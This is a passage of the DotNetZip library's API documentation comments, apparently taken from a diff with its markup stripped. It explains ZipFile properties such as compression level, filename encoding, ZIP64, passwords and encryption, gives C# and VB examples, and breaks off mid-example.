+ in the beginning, it's probably best if you don't set or get this property + at all. + + + + + + This example shows how you might set a large buffer size for efficiency when + dealing with zip entries that are larger than 1gb. + + using (ZipFile zip = new ZipFile()) + { + zip.SaveProgress += this.zip1_SaveProgress; + zip.AddDirectory(directoryToZip, ""); + zip.UseZip64WhenSaving = Zip64Option.Always; + zip.BufferSize = 65536*8; // 65536 * 8 = 512k + zip.Save(ZipFileToCreate); + } + + + + + + Size of the work buffer to use for the ZLIB codec during compression. + + + + + When doing ZLIB or Deflate compression, the library fills a buffer, + then passes it to the compressor for compression. Then the library + reads out the compressed bytes. This happens repeatedly until there + is no more uncompressed data to compress. This property sets the + size of the buffer that will be used for chunk-wise compression. In + order for the setting to take effect, your application needs to set + this property before calling one of the ZipFile.Save() + overloads. + + + Setting this affects the performance and memory efficiency of + compression and decompression. For larger files, setting this to a + larger size may improve compression performance, but the exact + numbers vary depending on available memory, the size of the streams + you are compressing, and a bunch of other variables. I don't have + good firm recommendations on how to set it. You'll have to test it + yourself. Or just leave it alone and accept the default. + + + + + + Indicates whether extracted files should keep their paths as + stored in the zip archive. + + + + + This property affects Extraction. It is not used when creating zip + archives. + + + + With this property set to false, the default, extracting entries + from a zip file will create files in the filesystem that have the full + path associated to the entry within the zip file. With this property set + to true, extracting entries from the zip file results in files + with no path: the folders are "flattened." + + + + An example: suppose the zip file contains entries /directory1/file1.txt and + /directory2/file2.txt. With FlattenFoldersOnExtract set to false, + the files created will be \directory1\file1.txt and \directory2\file2.txt. + With the property set to true, the files created are file1.txt and file2.txt. + + + + + + + The compression strategy to use for all entries. + + + + Set the Strategy used by the ZLIB-compatible compressor, when + compressing entries using the DEFLATE method. Different compression + strategies work better on different sorts of data. The strategy + parameter can affect the compression ratio and the speed of + compression but not the correctness of the compresssion. For more + information see Ionic.Zlib.CompressionStrategy. + + + + + The name of the ZipFile, on disk. + + + + + + When the ZipFile instance was created by reading an archive using + one of the ZipFile.Read methods, this property represents the name + of the zip file that was read. When the ZipFile instance was + created by using the no-argument constructor, this value is null + (Nothing in VB). + + + + If you use the no-argument constructor, and you then explicitly set this + property, when you call , this name will + specify the name of the zip file created. Doing so is equivalent to + calling . When instantiating a + ZipFile by reading from a stream or byte array, the Name + property remains null. When saving to a stream, the Name + property is implicitly set to null. + + + + + + Sets the compression level to be used for entries subsequently added to + the zip archive. + + + + + Varying the compression level used on entries can affect the + size-vs-speed tradeoff when compression and decompressing data streams + or files. + + + + As with some other properties on the ZipFile class, like , , and , setting this property on a ZipFile + instance will cause the specified CompressionLevel to be used on all + items that are subsequently added to the + ZipFile instance. If you set this property after you have added + items to the ZipFile, but before you have called Save(), + those items will not use the specified compression level. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + + + The compression method for the zipfile. + + + + By default, the compression method is CompressionMethod.Deflate. + + + + + + + A comment attached to the zip archive. + + + + + + This property is read/write. It allows the application to specify a + comment for the ZipFile, or read the comment for the + ZipFile. After setting this property, changes are only made + permanent when you call a Save() method. + + + + According to PKWARE's + zip specification, the comment is not encrypted, even if there is a + password set on the zip file. + + + + The specification does not describe how to indicate the encoding used + on a comment string. Many "compliant" zip tools and libraries use + IBM437 as the code page for comments; DotNetZip, too, follows that + practice. On the other hand, there are situations where you want a + Comment to be encoded with something else, for example using code page + 950 "Big-5 Chinese". To fill that need, DotNetZip will encode the + comment following the same procedure it follows for encoding + filenames: (a) if is + Never, it uses the default encoding (IBM437). (b) if is Always, it always uses the + alternate encoding (). (c) if is AsNecessary, it uses the + alternate encoding only if the default encoding is not sufficient for + encoding the comment - in other words if decoding the result does not + produce the original string. This decision is taken at the time of + the call to ZipFile.Save(). + + + + When creating a zip archive using this library, it is possible to change + the value of between each + entry you add, and between adding entries and the call to + Save(). Don't do this. It will likely result in a zip file that is + not readable by any tool or application. For best interoperability, leave + alone, or specify it only + once, before adding any entries to the ZipFile instance. + + + + + + + Specifies whether the Creation, Access, and Modified times for entries + added to the zip file will be emitted in “Windows format” + when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entries should or should not be stored + in the zip archive in the format used by Windows. By default this flag is + true, meaning the Windows-format times are stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified () times for the given entry are + automatically set from the filesystem values. When adding an entry from a + stream or string, all three values are implicitly set to + DateTime.Now. Applications can also explicitly set those times by + calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since January 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since January 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455, although you probably don't need to know that. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Some tools and libraries + may be able to read only one or the other. DotNetZip can read or write + times in either or both formats. + + + + The times stored are taken from , , and . + + + + The value set here applies to all entries subsequently added to the + ZipFile. + + + + This property is not mutually exclusive of the property. It is possible and + legal and valid to produce a zip file that contains timestamps encoded in + the Unix format as well as in the Windows format, in addition to the LastModified time attached to each + entry in the archive, a time that is always stored in "DOS format". And, + notwithstanding the names PKWare uses for these time formats, any of them + can be read and written by any computer, on any operating system. But, + there are no guarantees that a program running on Mac or Linux will + gracefully handle a zip file with "Windows" formatted times, or that an + application that does not use DotNetZip but runs on Windows will be able to + handle file times in Unix format. + + + + When in doubt, test. Sorry, I haven't got a complete list of tools and + which sort of timestamps they can use and will tolerate. If you get any + good information and would like to pass it on, please do so and I will + include that information in this documentation. + + + + + This example shows how to save a zip file that contains file timestamps + in a format normally used by Unix. + + using (var zip = new ZipFile()) + { + // produce a zip file the Mac will like + zip.EmitTimesInWindowsFormatWhenSaving = false; + zip.EmitTimesInUnixFormatWhenSaving = true; + zip.AddDirectory(directoryToZip, "files"); + zip.Save(outputFile); + } + + + + Using zip As New ZipFile + '' produce a zip file the Mac will like + zip.EmitTimesInWindowsFormatWhenSaving = False + zip.EmitTimesInUnixFormatWhenSaving = True + zip.AddDirectory(directoryToZip, "files") + zip.Save(outputFile) + End Using + + + + + + + + + Specifies whether the Creation, Access, and Modified times + for entries added to the zip file will be emitted in "Unix(tm) + format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entries should or should not be stored + in the zip archive in the format used by Unix. By default this flag is + false, meaning the Unix-format times are not stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified () times for the given entry are + automatically set from the filesystem values. When adding an entry from a + stream or string, all three values are implicitly set to DateTime.Now. + Applications can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since January 1, 1601 UTC. The other is a format Unix applications + typically use: seconds since January 1, 1970 UTC. Each format can be + stored in an "extra field" in the zip entry when saving the zip + archive. The former uses an extra field with a Header Id of 0x000A, while + the latter uses a header ID of 0x5455, although you probably don't need to + know that. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Some tools and libraries may be + able to read only one or the other. DotNetZip can read or write times in + either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive of the property. It is possible and + legal and valid to produce a zip file that contains timestamps encoded in + the Unix format as well as in the Windows format, in addition to the LastModified time attached to each + entry in the zip archive, a time that is always stored in "DOS + format". And, notwithstanding the names PKWare uses for these time + formats, any of them can be read and written by any computer, on any + operating system. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle a zip file with "Windows" formatted + times, or that an application that does not use DotNetZip but runs on + Windows will be able to handle file times in Unix format. + + + + When in doubt, test. Sorry, I haven't got a complete list of tools and + which sort of timestamps they can use and will tolerate. If you get any + good information and would like to pass it on, please do so and I will + include that information in this documentation. + + + + + + + + + Indicates whether verbose output is sent to the during AddXxx() and + ReadXxx() operations. + + + + This is a synthetic property. It returns true if the is non-null. + + + + + Returns true if an entry by the given name exists in the ZipFile. + + + the name of the entry to find + true if an entry with the given name exists; otherwise false. + + + + + Indicates whether to perform case-sensitive matching on the filename when + retrieving entries in the zipfile via the string-based indexer. + + + + The default value is false, which means don't do case-sensitive + matching. In other words, retrieving zip["ReadMe.Txt"] is the same as + zip["readme.txt"]. It really makes sense to set this to true only + if you are not running on Windows, which has case-insensitive + filenames. But since this library is not built for non-Windows platforms, + in most cases you should just leave this property alone. + + + + + Indicates whether to ignore duplicate files (report only the first entry) + when loading a zipfile. + + + + The default value is false, which will try to make all files + available (duplicates will have a "copy" suffix appended to their name). + Setting this to true prior to using Initialize to read a + zipfile will prevent this and instead just ignore the duplicates. + + + + + Indicates whether to encode entry filenames and entry comments using Unicode + (UTF-8). + + + + + The + PKWare zip specification provides for encoding file names and file + comments in either the IBM437 code page, or in UTF-8. This flag selects + the encoding according to that specification. By default, this flag is + false, and filenames and comments are encoded into the zip file in the + IBM437 codepage. Setting this flag to true will specify that filenames + and comments that cannot be encoded with IBM437 will be encoded with + UTF-8. + + + + Zip files created with strict adherence to the PKWare specification with + respect to UTF-8 encoding can contain entries with filenames containing + any combination of Unicode characters, including the full range of + characters from Chinese, Latin, Hebrew, Greek, Cyrillic, and many other + alphabets. However, because at this time, the UTF-8 portion of the PKWare + specification is not broadly supported by other zip libraries and + utilities, such zip files may not be readable by your favorite zip tool or + archiver. In other words, interoperability will decrease if you set this + flag to true. + + + + In particular, Zip files created with strict adherence to the PKWare + specification with respect to UTF-8 encoding will not work well with + Explorer in Windows XP or Windows Vista, because Windows compressed + folders, as far as I know, do not support UTF-8 in zip files. Vista can + read the zip files, but shows the filenames incorrectly. Unpacking from + Windows Vista Explorer will result in filenames that have rubbish + characters in place of the high-order UTF-8 bytes. + + + + Also, zip files that use UTF-8 encoding will not work well with Java + applications that use the java.util.zip classes, as of v5.0 of the Java + runtime. The Java runtime does not correctly implement the PKWare + specification in this regard. + + + + As a result, we have the unfortunate situation that "correct" behavior by + the DotNetZip library with regard to Unicode encoding of filenames during + zip creation will result in zip files that are readable by strictly + compliant and current tools (for example the most recent release of the + commercial WinZip tool); but these zip files will not be readable by + various other tools or libraries, including Windows Explorer. + + + + The DotNetZip library can read and write zip files with UTF8-encoded + entries, according to the PKware spec. If you use DotNetZip for both + creating and reading the zip file, and you use UTF-8, there will be no + loss of information in the filenames. For example, using a self-extractor + created by this library will allow you to unpack files correctly with no + loss of information in the filenames. + + + + If you do not set this flag, it will remain false. If this flag is false, + your ZipFile will encode all filenames and comments using the + IBM437 codepage. This can cause "loss of information" on some filenames, + but the resulting zipfile will be more interoperable with other + utilities. As an example of the loss of information, diacritics can be + lost. The o-tilde character will be down-coded to plain o. The c with a + cedilla (Unicode 0xE7) used in Portugese will be downcoded to a c. + Likewise, the O-stroke character (Unicode 248), used in Danish and + Norwegian, will be down-coded to plain o. Chinese characters cannot be + represented in codepage IBM437; when using the default encoding, Chinese + characters in filenames will be represented as ?. These are all examples + of "information loss". + + + + The loss of information associated to the use of the IBM437 encoding is + inconvenient, and can also lead to runtime errors. For example, using + IBM437, any sequence of 4 Chinese characters will be encoded as ????. If + your application creates a ZipFile, then adds two files, each with + names of four Chinese characters each, this will result in a duplicate + filename exception. In the case where you add a single file with a name + containing four Chinese characters, calling Extract() on the entry that + has question marks in the filename will result in an exception, because + the question mark is not legal for use within filenames on Windows. These + are just a few examples of the problems associated to loss of information. + + + + This flag is independent of the encoding of the content within the entries + in the zip file. Think of the zip file as a container - it supports an + encoding. Within the container are other "containers" - the file entries + themselves. The encoding within those entries is independent of the + encoding of the zip archive container for those entries. + + + + Rather than specify the encoding in a binary fashion using this flag, an + application can specify an arbitrary encoding via the property. Setting the encoding + explicitly when creating zip archives will result in non-compliant zip + files that, curiously, are fairly interoperable. The challenge is, the + PKWare specification does not provide for a way to specify that an entry + in a zip archive uses a code page that is neither IBM437 nor UTF-8. + Therefore if you set the encoding explicitly when creating a zip archive, + you must take care upon reading the zip archive to use the same code page. + If you get it wrong, the behavior is undefined and may result in incorrect + filenames, exceptions, stomach upset, hair loss, and acne. + + + + + + + Specify whether to use ZIP64 extensions when saving a zip archive. + + + + + + When creating a zip file, the default value for the property is . is + safest, in the sense that you will not get an Exception if a pre-ZIP64 + limit is exceeded. + + + + You may set the property at any time before calling Save(). + + + + When reading a zip file via the Zipfile.Read() method, DotNetZip + will properly read ZIP64-endowed zip archives, regardless of the value of + this property. DotNetZip will always read ZIP64 archives. This property + governs only whether DotNetZip will write them. Therefore, when updating + archives, be careful about setting this property after reading an archive + that may use ZIP64 extensions. + + + + An interesting question is, if you have set this property to + AsNecessary, and then successfully saved, does the resulting + archive use ZIP64 extensions or not? To learn this, check the property, after calling Save(). + + + + Have you thought about + donating? + + + + + + + + Indicates whether the archive requires ZIP64 extensions. + + + + + + This property is null (or Nothing in VB) if the archive has + not been saved, and there are fewer than 65334 ZipEntry items + contained in the archive. + + + + The Value is true if any of the following four conditions holds: + the uncompressed size of any entry is larger than 0xFFFFFFFF; the + compressed size of any entry is larger than 0xFFFFFFFF; the relative + offset of any entry within the zip archive is larger than 0xFFFFFFFF; or + there are more than 65534 entries in the archive. (0xFFFFFFFF = + 4,294,967,295). The result may not be known until a Save() is attempted + on the zip archive. The Value of this + property may be set only AFTER one of the Save() methods has been called. + + + + If none of the four conditions holds, and the archive has been saved, then + the Value is false. + + + + A Value of false does not indicate that the zip archive, as saved, + does not use ZIP64. It merely indicates that ZIP64 is not required. An + archive may use ZIP64 even when not required if the property is set to , or if the property is set to and the output stream was not + seekable. Use the property to determine if + the most recent Save() method resulted in an archive that utilized + the ZIP64 extensions. + + + + + + + + + Indicates whether the most recent Save() operation used ZIP64 extensions. + + + + + The use of ZIP64 extensions within an archive is not always necessary, and + for interoperability concerns, it may be desired to NOT use ZIP64 if + possible. The property can be + set to use ZIP64 extensions only when necessary. In those cases, + Sometimes applications want to know whether a Save() actually used ZIP64 + extensions. Applications can query this read-only property to learn + whether ZIP64 has been used in a just-saved ZipFile. + + + + The value is null (or Nothing in VB) if the archive has not + been saved. + + + + Non-null values (HasValue is true) indicate whether ZIP64 + extensions were used during the most recent Save() operation. The + ZIP64 extensions may have been used as required by any particular entry + because of its uncompressed or compressed size, or because the archive is + larger than 4294967295 bytes, or because there are more than 65534 entries + in the archive, or because the UseZip64WhenSaving property was set + to , or because the + UseZip64WhenSaving property was set to and the output stream was not seekable. + The value of this property does not indicate the reason the ZIP64 + extensions were used. + + + + + + + + + Indicates whether the most recent Read() operation read a zip file that uses + ZIP64 extensions. + + + + This property will return null (Nothing in VB) if you've added an entry after reading + the zip file. + + + + + The text encoding to use when writing new entries to the ZipFile, + for those entries that cannot be encoded with the default (IBM437) + encoding; or, the text encoding that was used when reading the entries + from the ZipFile. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to write zip archives that will be read by one of + these other archivers, set this property to specify the code page to use + when encoding the and for each ZipEntry in the zip file, for + values that cannot be encoded with the default codepage for zip files, + IBM437. This is why this property is "provisional". In all cases, IBM437 + is used where possible, in other words, where no loss of data would + result. It is possible, therefore, to have a given entry with a + Comment encoded in IBM437 and a FileName encoded with the + specified "provisional" codepage. + + + + Be aware that a zip file created after you've explicitly set the property to a value other than + IBM437 may not be compliant to the PKWare specification, and may not be + readable by compliant archivers. On the other hand, many (most?) + archivers are non-compliant and can read zip files created in arbitrary + code pages. The trick is to use or specify the proper codepage when + reading the zip. + + + + When creating a zip archive using this library, it is possible to change + the value of between each + entry you add, and between adding entries and the call to + Save(). Don't do this. It will likely result in a zipfile that is + not readable. For best interoperability, either leave alone, or specify it only once, + before adding any entries to the ZipFile instance. There is one + exception to this recommendation, described later. + + + + When using an arbitrary, non-UTF8 code page for encoding, there is no + standard way for the creator application - whether DotNetZip, WinZip, + WinRar, or something else - to formally specify in the zip file which + codepage has been used for the entries. As a result, readers of zip files + are not able to inspect the zip file and determine the codepage that was + used for the entries contained within it. It is left to the application + or user to determine the necessary codepage when reading zip files encoded + this way. In other words, if you explicitly specify the codepage when you + create the zipfile, you must explicitly specify the same codepage when + reading the zipfile. + + + + The way you specify the code page to use when reading a zip file varies + depending on the tool or library you use to read the zip. In DotNetZip, + you use a ZipFile.Read() method that accepts an encoding parameter. It + isn't possible with Windows Explorer, as far as I know, to specify an + explicit codepage to use when reading a zip. If you use an incorrect + codepage when reading a zipfile, you will get entries with filenames that + are incorrect, and the incorrect filenames may even contain characters + that are not legal for use within filenames in Windows. Extracting entries + with illegal characters in the filenames will lead to exceptions. It's too + bad, but this is just the way things are with code pages in zip + files. Caveat Emptor. + + + + Example: Suppose you create a zipfile that contains entries with + filenames that have Danish characters. If you use equal to "iso-8859-1" (cp 28591), + the filenames will be correctly encoded in the zip. But, to read that + zipfile correctly, you have to specify the same codepage at the time you + read it. If try to read that zip file with Windows Explorer or another + application that is not flexible with respect to the codepage used to + decode filenames in zipfiles, you will get a filename like "Inf�.txt". + + + + When using DotNetZip to read a zip archive, and the zip archive uses an + arbitrary code page, you must specify the encoding to use before or when + the Zipfile is READ. This means you must use a ZipFile.Read() + method that allows you to specify a System.Text.Encoding parameter. Setting + the ProvisionalAlternateEncoding property after your application has read in + the zip archive will not affect the entry names of entries that have already + been read in. + + + + And now, the exception to the rule described above. One strategy for + specifying the code page for a given zip file is to describe the code page + in a human-readable form in the Zip comment. For example, the comment may + read "Entries in this archive are encoded in the Big5 code page". For + maximum interoperability, the zip comment in this case should be encoded + in the default, IBM437 code page. In this case, the zip comment is + encoded using a different page than the filenames. To do this, Specify + ProvisionalAlternateEncoding to your desired region-specific code + page, once before adding any entries, and then reset + ProvisionalAlternateEncoding to IBM437 before setting the property and calling Save(). + + + + + This example shows how to read a zip file using the Big-5 Chinese code page + (950), and extract each entry in the zip file. For this code to work as + desired, the Zipfile must have been created using the big5 code page + (CP950). This is typical, for example, when using WinRar on a machine with + CP950 set as the default code page. In that case, the names of entries + within the Zip archive will be stored in that code page, and reading the zip + archive must be done using that code page. If the application did not use + the correct code page in ZipFile.Read(), then names of entries within the + zip archive would not be correctly retrieved. + + using (var zip = ZipFile.Read(zipFileName, System.Text.Encoding.GetEncoding("big5"))) + { + // retrieve and extract an entry using a name encoded with CP950 + zip[MyDesiredEntry].Extract("unpack"); + } + + + + Using zip As ZipFile = ZipFile.Read(ZipToExtract, System.Text.Encoding.GetEncoding("big5")) + ' retrieve and extract an entry using a name encoded with CP950 + zip(MyDesiredEntry).Extract("unpack") + End Using + + + + DefaultEncoding + + + + A Text Encoding to use when encoding the filenames and comments for + all the ZipEntry items, during a ZipFile.Save() operation. + + + + Whether the encoding specified here is used during the save depends + on . + + + + + + A flag that tells if and when this instance should apply + AlternateEncoding to encode the filenames and comments associated to + of ZipEntry objects contained within this instance. + + + + + Gets or sets the TextWriter to which status messages are delivered + for the instance. + + + + If the TextWriter is set to a non-null value, then verbose output is sent + to the TextWriter during Add, Read, Save and + Extract operations. Typically, console applications might use + Console.Out and graphical or headless applications might use a + System.IO.StringWriter. The output of this is suitable for viewing + by humans. + + + + + In this example, a console application instantiates a ZipFile, then + sets the StatusMessageTextWriter to Console.Out. At that + point, all verbose status messages for that ZipFile are sent to the + console. + + + + using (ZipFile zip= ZipFile.Read(FilePath)) + { + zip.StatusMessageTextWriter= System.Console.Out; + // messages are sent to the console during extraction + zip.ExtractAll(); + } + + + + Using zip As ZipFile = ZipFile.Read(FilePath) + zip.StatusMessageTextWriter= System.Console.Out + 'Status Messages will be sent to the console during extraction + zip.ExtractAll() + End Using + + + + In this example, a Windows Forms application instantiates a + ZipFile, then sets the StatusMessageTextWriter to a + StringWriter. At that point, all verbose status messages for that + ZipFile are sent to the StringWriter. + + + + var sw = new System.IO.StringWriter(); + using (ZipFile zip= ZipFile.Read(FilePath)) + { + zip.StatusMessageTextWriter= sw; + zip.ExtractAll(); + } + Console.WriteLine("{0}", sw.ToString()); + + + + Dim sw as New System.IO.StringWriter + Using zip As ZipFile = ZipFile.Read(FilePath) + zip.StatusMessageTextWriter= sw + zip.ExtractAll() + End Using + 'Status Messages are now available in sw + + + + + + + Gets or sets the name for the folder to store the temporary file + this library writes when saving a zip archive. + + + + + This library will create a temporary file when saving a Zip archive to a + file. This file is written when calling one of the Save() methods + that does not save to a stream, or one of the SaveSelfExtractor() + methods. + + + + By default, the library will create the temporary file in the directory + specified for the file itself, via the property or via + the method. + + + + Setting this property allows applications to override this default + behavior, so that the library will create the temporary file in the + specified folder. For example, to have the library create the temporary + file in the current working directory, regardless where the ZipFile + is saved, specfy ".". To revert to the default behavior, set this + property to null (Nothing in VB). + + + + When setting the property to a non-null value, the folder specified must + exist; if it does not an exception is thrown. The application should have + write and delete permissions on the folder. The permissions are not + explicitly checked ahead of time; if the application does not have the + appropriate rights, an exception will be thrown at the time Save() + is called. + + + + There is no temporary file created when reading a zip archive. When + saving to a Stream, there is no temporary file created. For example, if + the application is an ASP.NET application and calls Save() + specifying the Response.OutputStream as the output stream, there is + no temporary file created. + + + + + Thrown when setting the property if the directory does not exist. + + + + + + Sets the password to be used on the ZipFile instance. + + + + + + When writing a zip archive, this password is applied to the entries, not + to the zip archive itself. It applies to any ZipEntry subsequently + added to the ZipFile, using one of the AddFile, + AddDirectory, AddEntry, or AddItem methods, etc. + When reading a zip archive, this property applies to any entry + subsequently extracted from the ZipFile using one of the Extract + methods on the ZipFile class. + + + + When writing a zip archive, keep this in mind: though the password is set + on the ZipFile object, according to the Zip spec, the "directory" of the + archive - in other words the list of entries or files contained in the archive - is + not encrypted with the password, or protected in any way. If you set the + Password property, the password actually applies to individual entries + that are added to the archive, subsequent to the setting of this property. + The list of filenames in the archive that is eventually created will + appear in clear text, but the contents of the individual files are + encrypted. This is how Zip encryption works. + + + + One simple way around this limitation is to simply double-wrap sensitive + filenames: Store the files in a zip file, and then store that zip file + within a second, "outer" zip file. If you apply a password to the outer + zip file, then readers will be able to see that the outer zip file + contains an inner zip file. But readers will not be able to read the + directory or file list of the inner zip file. + + + + If you set the password on the ZipFile, and then add a set of files + to the archive, then each entry is encrypted with that password. You may + also want to change the password between adding different entries. If you + set the password, add an entry, then set the password to null + (Nothing in VB), and add another entry, the first entry is + encrypted and the second is not. If you call AddFile(), then set + the Password property, then call ZipFile.Save, the file + added will not be password-protected, and no warning will be generated. + + + + When setting the Password, you may also want to explicitly set the property, to specify how to encrypt the entries added + to the ZipFile. If you set the Password to a non-null value and do not + set , then PKZip 2.0 ("Weak") encryption is used. + This encryption is relatively weak but is very interoperable. If you set + the password to a null value (Nothing in VB), Encryption is + reset to None. + + + + All of the preceding applies to writing zip archives, in other words when + you use one of the Save methods. To use this property when reading or an + existing ZipFile, do the following: set the Password property on the + ZipFile, then call one of the Extract() overloads on the . In this case, the entry is extracted using the + Password that is specified on the ZipFile instance. If you + have not set the Password property, then the password is + null, and the entry is extracted with no password. + + + + If you set the Password property on the ZipFile, then call + Extract() an entry that has not been encrypted with a password, the + password is not used for that entry, and the ZipEntry is extracted + as normal. In other words, the password is used only if necessary. + + + + The class also has a Password property. It takes precedence + over this property on the ZipFile. Typically, you would use the + per-entry Password when most entries in the zip archive use one password, + and a few entries use a different password. If all entries in the zip + file use the same password, then it is simpler to just set this property + on the ZipFile itself, whether creating a zip archive or extracting + a zip archive. + + + + + + + This example creates a zip file, using password protection for the + entries, and then extracts the entries from the zip file. When creating + the zip file, the Readme.txt file is not protected with a password, but + the other two are password-protected as they are saved. During extraction, + each file is extracted with the appropriate password. + + + // create a file with encryption + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt"); + zip.Password= "!Secret1"; + zip.AddFile("MapToTheSite-7440-N49th.png"); + zip.AddFile("2008-Regional-Sales-Report.pdf"); + zip.Save("EncryptedArchive.zip"); + } + + // extract entries that use encryption + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + zip.Password= "!Secret1"; + zip.ExtractAll("extractDir"); + } + + + + + Using zip As New ZipFile + zip.AddFile("ReadMe.txt") + zip.Password = "123456!" + zip.AddFile("MapToTheSite-7440-N49th.png") + zip.Password= "!Secret1"; + zip.AddFile("2008-Regional-Sales-Report.pdf") + zip.Save("EncryptedArchive.zip") + End Using + + + ' extract entries that use encryption + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + zip.Password= "!Secret1" + zip.ExtractAll("extractDir") + End Using + + + + + + ZipFile.Encryption + ZipEntry.Password + + + + The action the library should take when extracting a file that already + exists. + + + + + This property affects the behavior of the Extract methods (one of the + Extract() or ExtractWithPassword() overloads), when + extraction would would overwrite an existing filesystem file. If you do + not set this property, the library throws an exception when extracting an + entry would overwrite an existing file. + + + + This property has no effect when extracting to a stream, or when the file + to be extracted does not already exist. + + + + + + + The action the library should take when an error is encountered while + opening or reading files as they are saved into a zip archive. + + + + + Errors can occur as a file is being saved to the zip archive. For + example, the File.Open may fail, or a File.Read may fail, because of + lock conflicts or other reasons. + + + + The first problem might occur after having called AddDirectory() on a + directory that contains a Clipper .dbf file; the file is locked by + Clipper and cannot be opened for read by another process. An example of + the second problem might occur when trying to zip a .pst file that is in + use by Microsoft Outlook. Outlook locks a range on the file, which allows + other processes to open the file, but not read it in its entirety. + + + + This property tells DotNetZip what you would like to do in the case of + these errors. The primary options are: ZipErrorAction.Throw to + throw an exception (this is the default behavior if you don't set this + property); ZipErrorAction.Skip to Skip the file for which there + was an error and continue saving; ZipErrorAction.Retry to Retry + the entry that caused the problem; or + ZipErrorAction.InvokeErrorEvent to invoke an event handler. + + + + This property is implicitly set to ZipErrorAction.InvokeErrorEvent + if you add a handler to the event. If you set + this property to something other than + ZipErrorAction.InvokeErrorEvent, then the ZipError + event is implicitly cleared. What it means is you can set one or the + other (or neither), depending on what you want, but you never need to set + both. + + + + As with some other properties on the ZipFile class, like , , and , setting this property on a ZipFile + instance will cause the specified ZipErrorAction to be used on all + items that are subsequently added to the + ZipFile instance. If you set this property after you have added + items to the ZipFile, but before you have called Save(), + those items will not use the specified error handling action. + + + + If you want to handle any errors that occur with any entry in the zip + file in the same way, then set this property once, before adding any + entries to the zip archive. + + + + If you set this property to ZipErrorAction.Skip and you'd like to + learn which files may have been skipped after a Save(), you can + set the on the ZipFile before + calling Save(). A message will be emitted into that writer for + each skipped file, if any. + + + + + + This example shows how to tell DotNetZip to skip any files for which an + error is generated during the Save(). + + Public Sub SaveZipFile() + Dim SourceFolder As String = "fodder" + Dim DestFile As String = "eHandler.zip" + Dim sw as New StringWriter + Using zipArchive As ZipFile = New ZipFile + ' Tell DotNetZip to skip any files for which it encounters an error + zipArchive.ZipErrorAction = ZipErrorAction.Skip + zipArchive.StatusMessageTextWriter = sw + zipArchive.AddDirectory(SourceFolder) + zipArchive.Save(DestFile) + End Using + ' examine sw here to see any messages + End Sub + + + + + + + + + + The Encryption to use for entries added to the ZipFile. + + + + + Set this when creating a zip archive, or when updating a zip archive. The + specified Encryption is applied to the entries subsequently added to the + ZipFile instance. Applications do not need to set the + Encryption property when reading or extracting a zip archive. + + + + If you set this to something other than EncryptionAlgorithm.None, you + will also need to set the . + + + + As with some other properties on the ZipFile class, like and , setting this + property on a ZipFile instance will cause the specified + EncryptionAlgorithm to be used on all items + that are subsequently added to the ZipFile instance. In other + words, if you set this property after you have added items to the + ZipFile, but before you have called Save(), those items will + not be encrypted or protected with a password in the resulting zip + archive. To get a zip archive with encrypted entries, set this property, + along with the property, before calling + AddFile, AddItem, or AddDirectory (etc.) on the + ZipFile instance. + + + + If you read a ZipFile, you can modify the Encryption on an + encrypted entry, only by setting the Encryption property on the + ZipEntry itself. Setting the Encryption property on the + ZipFile, once it has been created via a call to + ZipFile.Read(), does not affect entries that were previously read. + + + + For example, suppose you read a ZipFile, and there is an encrypted + entry. Setting the Encryption property on that ZipFile and + then calling Save() on the ZipFile does not update the + Encryption used for the entries in the archive. Neither is an + exception thrown. Instead, what happens during the Save() is that + all previously existing entries are copied through to the new zip archive, + with whatever encryption and password that was used when originally + creating the zip archive. Upon re-reading that archive, to extract + entries, applications should use the original password or passwords, if + any. + + + + Suppose an application reads a ZipFile, and there is an encrypted + entry. Setting the Encryption property on that ZipFile and + then adding new entries (via AddFile(), AddEntry(), etc) + and then calling Save() on the ZipFile does not update the + Encryption on any of the entries that had previously been in the + ZipFile. The Encryption property applies only to the + newly-added entries. + + + + + + + This example creates a zip archive that uses encryption, and then extracts + entries from the archive. When creating the zip archive, the ReadMe.txt + file is zipped without using a password or encryption. The other files + use encryption. + + + + // Create a zip archive with AES Encryption. + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt"); + zip.Encryption= EncryptionAlgorithm.WinZipAes256; + zip.Password= "Top.Secret.No.Peeking!"; + zip.AddFile("7440-N49th.png"); + zip.AddFile("2008-Regional-Sales-Report.pdf"); + zip.Save("EncryptedArchive.zip"); + } + + // Extract a zip archive that uses AES Encryption. + // You do not need to specify the algorithm during extraction. + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + zip.Password= "Top.Secret.No.Peeking!"; + zip.ExtractAll("extractDirectory"); + } + + + + ' Create a zip that uses Encryption. + Using zip As New ZipFile() + zip.Encryption= EncryptionAlgorithm.WinZipAes256 + zip.Password= 